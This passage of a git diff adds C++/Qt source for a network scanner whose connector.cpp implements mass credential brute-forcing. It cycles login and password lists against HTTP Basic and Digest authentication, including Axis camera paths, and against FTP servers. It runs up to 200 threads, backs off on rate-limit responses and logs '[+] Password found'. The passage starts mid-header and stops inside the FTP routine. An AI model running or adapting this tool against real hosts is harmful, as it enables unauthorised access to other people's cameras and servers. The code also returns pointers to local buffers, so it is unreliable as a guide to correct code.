+public: signals: void changeTargetsLeft(QString); +public: signals: void killSttThread(); +public: signals: void sIncData(QString, QString); +public: signals: void sOutData(QString, QString); + +protected: + void run(); +}; +extern STh *stt; +#endif // STH_H diff --git a/base64.cpp b/base64.cpp new file mode 100644 index 0000000..ce292d8 --- /dev/null +++ b/base64.cpp @@ -0,0 +1,96 @@ +#include "base64.h" +#include + +static const std::string base64_chars = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + + +static inline bool is_base64(unsigned char c) { + return (isalnum(c) || (c == '+') || (c == '/')); +} + +std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { + std::string ret; + int i = 0; + int j = 0; + unsigned char char_array_3[3]; + unsigned char char_array_4[4]; + + while (in_len--) { + char_array_3[i++] = *(bytes_to_encode++); + if (i == 3) { + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for(i = 0; (i <4) ; i++) + ret += base64_chars[char_array_4[i]]; + i = 0; + } + } + + if (i) + { + for(j = i; j < 3; j++) + char_array_3[j] = '\0'; + + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for (j = 0; (j < i + 1); j++) + ret += base64_chars[char_array_4[j]]; + + while((i++ < 3)) + ret += '='; + + } + + return ret; + +} + +std::string base64_decode(std::string const& encoded_string) { + int in_len = encoded_string.size(); + int i = 0; + int j = 0; + int in_ = 0; + unsigned char char_array_4[4], char_array_3[3]; + std::string ret; + + while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { + char_array_4[i++] = encoded_string[in_]; in_++; + if (i ==4) { + for (i = 0; i <4; i++) + char_array_4[i] = base64_chars.find(char_array_4[i]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (i = 0; (i < 3); i++) + ret += char_array_3[i]; + i = 0; + } + } + + if (i) { + for (j = i; j <4; j++) + char_array_4[j] = 0; + + for (j = 0; j <4; j++) + char_array_4[j] = base64_chars.find(char_array_4[j]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; + } + + return ret; +} \ No newline at end of file diff --git a/base64.h b/base64.h new file mode 100644 index 0000000..ceb1357 --- /dev/null +++ b/base64.h @@ -0,0 +1,4 @@ +#include + +std::string base64_encode(unsigned char const* , unsigned int len); +std::string base64_decode(std::string const& s); \ No newline at end of file diff --git a/connector.cpp b/connector.cpp new file mode 100644 index 0000000..7e2e461 --- /dev/null +++ b/connector.cpp @@ -0,0 +1,2680 @@ +#pragma once +#include "STh.h" +#include +#include +#include +#pragma once + +#if defined(Q_OS_WIN32) +#include +#include +#pragma comment(lib, "iphlpapi.lib") +#endif +int gMaxBrutingThreads = 200; + +volatile bool BConnLocked = false; +void BConInc() +{ + while(BConnLocked == true) Sleep(6); + + BConnLocked = true; + ++BrutingThrds; + BConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion + ++BA; +}; +void BConDec() +{ + while(BConnLocked == true) Sleep(8); + + BConnLocked = true; + if(BrutingThrds > 0) --BrutingThrds; + BConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +bool SSHConnLocked = false; +void SSHConInc() +{ + while(SSHConnLocked == true) Sleep(6); + + SSHConnLocked = true; + ++BrutingThrds; + SSHConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +void SSHConDec() +{ + while(SSHConnLocked == true) Sleep(8); + + SSHConnLocked = true; + if(BrutingThrds > 0) --BrutingThrds; + SSHConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; + +bool debugWriteWait = false; +void _DebugWriteHTMLToFile(char *request, char *buff) +{ + while(debugWriteWait) Sleep(50); + debugWriteWait = true; + FILE *df = fopen("./debugData.txt", "a"); + + if(df != NULL) + { + fputs(request, df); + fputs("==========================\n", df); + fputs(buff, df); + fputs("\n==========================\n==========================\n\n", df); + fclose(df); + } + else + { + stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); + }; + debugWriteWait = false; +}; +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + unsigned char y = d + 32; + return y; + } + else + { + return tolower(d); + }; +}; +int recvWT( + int Socket, + char *Buffer, + int Len, + long Timeout, + int *bTimedOut + ){ + fd_set ReadSet; + int n; + struct timeval Time; + + FD_ZERO(&ReadSet); + FD_SET(Socket,&ReadSet); + Time.tv_sec = Timeout; + Time.tv_usec = 0; + *bTimedOut = FALSE; + n = select(Socket+1,&ReadSet,NULL,NULL,&Time); + if (n > 0) { /* got some data */ + return recv(Socket,Buffer,Len,0); + } + if (n == 0) { /* timeout */ + *bTimedOut = TRUE; + } + return(n) ; /* trouble */ +} +string toLowerStr(const char *str) +{ + int tsz = strlen(str); + if(tsz == 1) + { + if(str[0] == 10) return "[No data!]"; + else return str; + } + else if(tsz > 1) + { + char * strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + string tstr = strr; + delete []strr; + return tstr; + }; + return ""; +}; +SSL_CTX* InitCTX(void) +{ + const SSL_METHOD *method; + SSL_CTX *ctx; + + method = SSLv3_client_method(); /* Create new client-method instance */ + ctx = SSL_CTX_new(method); /* Create new context */ + SSL_CTX_set_timeout(ctx, gTimeOut); + if ( ctx == NULL ) + { + stt->doEmitionRedFoundData("SSL(InitCTX)."); + return NULL; + } + return ctx; +} +int OpenConnection(SOCKET *sock, const char *hostname, int port) +{ + struct hostent *host; + struct sockaddr_in addr; + if(strlen(hostname) == 0) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + if(port < 0 || port > 65535) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; + }; + + if ( (host = gethostbyname(hostname)) == NULL ) + { + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, hostname); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SSL]: " + QString(temp)); +#pragma endregion + + }; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + *sock = socket(PF_INET, SOCK_STREAM, 0); + ZeroMemory(&addr, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = *(long*)(host->h_addr); + if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) + { + ++offlines; + closesocket(*sock); + return -1; + }; + return 0; +} + +void _baSSLWorker(char *ip, char *request, char *rvBuff) +{ + SSL_CTX *ctx = NULL; + ctx = InitCTX(); + SOCKET sock; + if(ctx != NULL) + { + int result = OpenConnection(&sock, ip, 443); + if(result >= 0) + { + SSL *ssl = NULL; + ssl = SSL_new(ctx); /* create new SSL connection state */ + if(ssl != NULL) + { + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, request, strlen(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + char tempBuff[128] = {0}; + int x = 1; + int xx = 0; + + ZeroMemory(rvBuff, sizeof(rvBuff)); + while(xx < 512) + { + x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); + if(x <= 0) break; + Activity += x; + xx += x; + strncat(rvBuff, tempBuff, x); + ZeroMemory(tempBuff, sizeof(tempBuff)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); + }; + SSL_shutdown(ssl); + SSL_free(ssl); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + return; + }; + }; + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + }; +}; +char *_getAttributeValue(char *str, char *val, char *ip, int port) +{ + char res[1024] = {0}; + char *ptrStart = NULL; + char *ptrS1End = NULL; + char *ptrS2End = NULL; + + ptrStart = strstri(str, val); + if(ptrStart != NULL) + { + ptrS1End = _findFirstOcc(ptrStart, "\""); + if(ptrS1End != NULL) + { + ptrS2End = _findFirstOcc(ptrS1End + 1, "\""); + if(ptrS2End != NULL) + { + int sz = ptrS2End - ptrS1End - 1; + + if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); + else return ""; + + return res; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; +}; +void print_md5_sum(unsigned char* md, char* md5) +{ + char temp[8] = {0}; + for(int i = 0; i < MD5_DIGEST_LENGTH; ++i) + { + ZeroMemory(temp, 8); + sprintf(temp, "%02x", md[i]); + + if(i != 0) + { + strcat(md5, temp); + } + else + { + strcpy(md5, temp); + }; + }; +}; +char *_makeDigestResponse(char *login, char *realm, char *pass, char *path, char *nonce) +{ + unsigned char HA1[MD5_DIGEST_LENGTH]; + unsigned char HA2[MD5_DIGEST_LENGTH]; + char HA1Data[512] = {0}; + char HA2Data[512] = {0}; + + strcpy(HA1Data, login); + strcat(HA1Data, ":"); + strcat(HA1Data, realm); + strcat(HA1Data, ":"); + strcat(HA1Data, pass); + + strcpy(HA2Data, "GET:"); + strcat(HA2Data, path); + + MD5((unsigned char*) HA1Data, strlen(HA1Data), HA1); + MD5((unsigned char*) HA2Data, strlen(HA2Data), HA2); + + char responseData[512] = {0}; + char *HA1MD5 = new char[64]; + char *HA2MD5 = new char[64]; + ZeroMemory(HA1MD5, 64); + ZeroMemory(HA2MD5, 64); + + print_md5_sum(HA1, HA1MD5); + strcpy(responseData, HA1MD5); + strcat(responseData, ":"); + strcat(responseData, nonce); + strcat(responseData, "::auth:"); + print_md5_sum(HA2, HA2MD5); + strcat(responseData, HA2MD5); + delete []HA1MD5; + delete []HA2MD5; + + unsigned char response[MD5_DIGEST_LENGTH]; + MD5((unsigned char*) responseData, strlen(responseData), response); + char responseMD5[64] = {0}; + print_md5_sum(response, responseMD5); + return (char*)responseMD5; +}; +volatile bool baSSLLocked = false; +lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) +{ + if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + char path[512] = {0}; + strncpy(path, pathT, 512); + + int bTO; + bool goon = false; + char hRqst[1024] = {0}; + char headerMsg[1024] = {0}; + char hMsgR[512] = {0}; + + strcpy(hRqst, "GET "); + strcat(hRqst, path); + strcat(hRqst, " HTTP/1.1\r\nHost: "); + strcat(hRqst, ip); + if(cookieLen != 0) + { + strcat(hRqst, "\r\nCookie: "); + strcat(hRqst, cookie); + }; + strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\n\r\n"); + + sockaddr_in sockAddr; + SOCKET sock; +#pragma region VerifyBASSL + if(port == 443) + { + ZeroMemory(headerMsg, sizeof(headerMsg)); + while(baSSLLocked) Sleep(200); + baSSLLocked = true; + _baSSLWorker(ip, hRqst, headerMsg); + baSSLLocked = false; + } +#pragma endregion + else +#pragma region VerifyBA + { + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sock, hRqst, strlen(hRqst), 0); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); + ZeroMemory(headerMsg, sizeof(headerMsg)); + int x = 1; + int xx = 0; + while(xx < 512) + { + x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 10, &bTO); + if(x <= 0) break; + strncat(headerMsg, hMsgR, x); + xx += x; + ZeroMemory(hMsgR, sizeof(hMsgR)); + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); + }; +#pragma endregion + if(strlen(headerMsg) == 0) + { + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstr(headerMsg, "401 ") == NULL && strstr(headerMsg, ".1 401") == NULL && strstr(headerMsg, ".0 401") == NULL) + { + if(strstri(headerMsg, "400 Bad") != NULL) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.other, "[400 Bad Request]"); + OnLiner = 0; + return lps; + } + else if(strstri(headerMsg, "404 Not") != NULL || strstr(headerMsg, "404 ") != NULL || strstr(headerMsg, ".1 404") != NULL || strstr(headerMsg, ".0 404") != NULL) + { + if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) + { + int sz = strlen("/view/viewer_index.shtml"); + strncpy(path, "/view/viewer_index.shtml", sz); + memset(path + sz, 0, 1); + goon = true; + } + else + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); + OnLiner = 0; + return lps; + }; + } + else if(strlen(headerMsg) < 16) + { + goon = true; + stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); + }; + + if(goon == false) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + + strcpy(lps.login, "NULL"); + strcpy(lps.pass, "NULL"); + OnLiner = 0; + return lps; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); +#pragma endregion + + OnLiner = 1; + char tPass[256] = {0}; + char curLogin[256] = {0}; + char curPass[256] = {0}; + int cCode; + int cErrCode; + int x = 1; + int dataSz = 0; + int maxSize = 1024; + char request[4096] = {0}; + char recvBuff[4096] = {0}; + char recvBuff2[512] = {0}; + char pass[256] = {0}; + int WSAErr; + + char localBuff[4096] = {0}; + strcpy(localBuff, headerMsg); + int passCounter = 1; + char attribute[2048] = {0}; + char nonce[512] = {0}; + char realm[512] = {0}; + string encoded = ""; + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + for(int j = 0; j < MaxPass; j++) + { + Sleep(80); + if(globalScanFlag == false) break; + + ZeroMemory(request, 4096); + ZeroMemory(curLogin, 256); + ZeroMemory(curPass, 256); + strcpy(curLogin, loginLst[i]); + strcpy(curPass, passLst[j]); + + if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) + { + ZeroMemory(attribute, 2048); + strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); + ZeroMemory(nonce, 512); + strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); + ZeroMemory(realm, 512); + strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); + + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); + strcat(request, curLogin); + strcat(request, "\", realm=\""); + strcat(request, realm); + strcat(request, "\", nonce=\""); + strcat(request, nonce); + strcat(request, "\", uri=\""); + strcat(request, path); + strcat(request, "\", qop=auth, response=\""); + strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce)); + strcat(request, "\", nc=00000001, cnonce=\"9d531d56796e0dc9\"\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + } + else + { + ZeroMemory(tPass, 256); + strncpy(tPass, curLogin, strlen(curLogin)); + strcat(tPass, ":"); + strncat(tPass, curPass, strlen(curPass)); + encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); + strcpy(tPass, base64_decode(encoded).c_str()); + strcpy(request, "GET "); + strcat(request, path); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); + strcat(request, encoded.c_str()); + strcat(request, "\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + }; + +#pragma region BABSEQ-HTTPS + if(port == 443) + { + ZeroMemory(recvBuff, 4096); + while(baSSLLocked) Sleep(100); + baSSLLocked = true; + if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); + _baSSLWorker(ip, request, recvBuff); + baSSLLocked = false; + } +#pragma endregion + else +#pragma region BABSEQ-HTTP + { + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + }; + if(cCode != SOCKET_ERROR) + { + x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + dataSz = 0; + maxSize = 1024; + ZeroMemory(recvBuff2, 512); + ZeroMemory(recvBuff, 4096); + while (x > 0 && dataSz < 3384) + { + ZeroMemory(recvBuff2, 512); + x = recvWT(sock, recvBuff2, 512, gTimeOut + 5, &bTO); + + dataSz += x; + Activity += x; + + strncat(recvBuff, recvBuff2, x); + }; + if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + } + else + { + stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + } + else + { + int WSAErr = WSAGetLastError(); + if(WSAErr != 10060) + { + stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]"); + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + }; +#pragma endregion + + if(globalScanFlag == false) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + if(dataSz == 0) + { + Sleep(1000); + --j; + continue; + }; + + if(strcmp(method, "[DIGEST]") == 0) + { + ZeroMemory(localBuff, 4096); + strcpy(localBuff, recvBuff); + }; + + if(strstri(recvBuff, "http/1.1 401") == NULL + || strstri(recvBuff, "http/1.0 401") == NULL + //|| (strstri(recvBuff, "401") != NULL && strstri(recvBuff, "unauthorized") != NULL) + ) + { + ///dummy/// + } + else if(strstri(recvBuff, "503 service unavailable") != NULL + || strstri(recvBuff, "http/1.1 503") != NULL + || strstri(recvBuff, "http/1.0 503") != NULL + || strstr(recvBuff, "400 BAD_REQUEST") != NULL + || strstri(recvBuff, "400 bad request") != NULL + || strstr(recvBuff, "403 Forbidden") != NULL + ) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); +#pragma endregion + + if(j > 0) --j; + Sleep(30000); + } + else if((strstri(recvBuff, "http/1.1 404") != NULL + || strstri(recvBuff, "http/1.0 404") != NULL + ) + && strstri(recvBuff, "Authorization required") == NULL + ) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); +#pragma endregion + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if( (strstri(recvBuff, "200 ok") != NULL + || strstri(recvBuff, "http/1.0 200") != NULL + ) + //&& strstri(recvBuff, "access forbidden") == NULL + //&& strstri(recvBuff, "authentication required") == NULL + //&& strstri(recvBuff, "authentication failed") == NULL + && strstri(recvBuff, "http/1.1 401 ") == NULL + && strstri(recvBuff, "http/1.0 401 ") == NULL + //&& strstri(recvBuff, "401 unauthorized") == NULL + //&& strstri(recvBuff, "401 authorization") == NULL + && dataSz > 13 + ) + { + if(strstri(recvBuff, "access is denied") == NULL + && strstri(recvBuff, "iisstart") == NULL + && strstri(recvBuff, "Location:") == NULL + && strstri(recvBuff, "access forbidden") == NULL + ) + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + OnLiner = 0; + stt->doEmition_BAGreenData("[+] " + QString(pass)); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + } + else + { + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + OnLiner = 0; + char *pt1 = strstr(recvBuff, " "); + if(pt1 != NULL) + { + char *pt2 = strstr(pt1 + 1, " "); + if(pt2 != NULL) + { + int sz = pt2 - pt1 - 1; + char tempHeaderCode[16] = {0}; + strncpy(tempHeaderCode, pt1 + 1, sz); + + if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + } + else + { + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + } + else + { + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + + return lps; + }; + }; + }; + }; +#pragma endregion + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +} +lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BConInc(); + lopaStr res = _BABrute(cookie, ip, port, path, method); + BConDec(); + + return res; +}; +lopaStr _FTPBrute(char *ip, int port, PathStr *ps) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char recvBuff[1024] = {0}, request[64] = {0}; + int connectionResult, closedSocket = 1, loginFailedFlag = 0; + SOCKET sockFTP; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString("Bad address! (") + QString(ip) + ")"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + + bool breakPassLoop = 0; + int passCounter = 1; + int bTO; + int x = 0; + + for(int i = 0; i < MaxLogin; ++i) + { + if(globalScanFlag == false) break; + if(strlen(loginLst[i]) <= 1) continue; + for(int j = 0; j < MaxPass; ++j) + { + if(globalScanFlag == false) break; + if(strlen(passLst[j]) <= 1) continue; + if(closedSocket) + { + closedSocket = 0; + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + }; + loginFailedFlag = 0; + }; + + OnLiner = 1; + + if(connectionResult != SOCKET_ERROR) + { + x = 0; + while (true) + { + Sleep(100); + if(globalScanFlag == false) break; + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); + if(x <= 0) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + Activity += x; + closedSocket = 0; + if(strstr(recvBuff, "451 The parameter is incorrect") != NULL + ) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); + strcpy(lps.other, "Unknown protocol (451 Error)"); + return lps; + }; + + 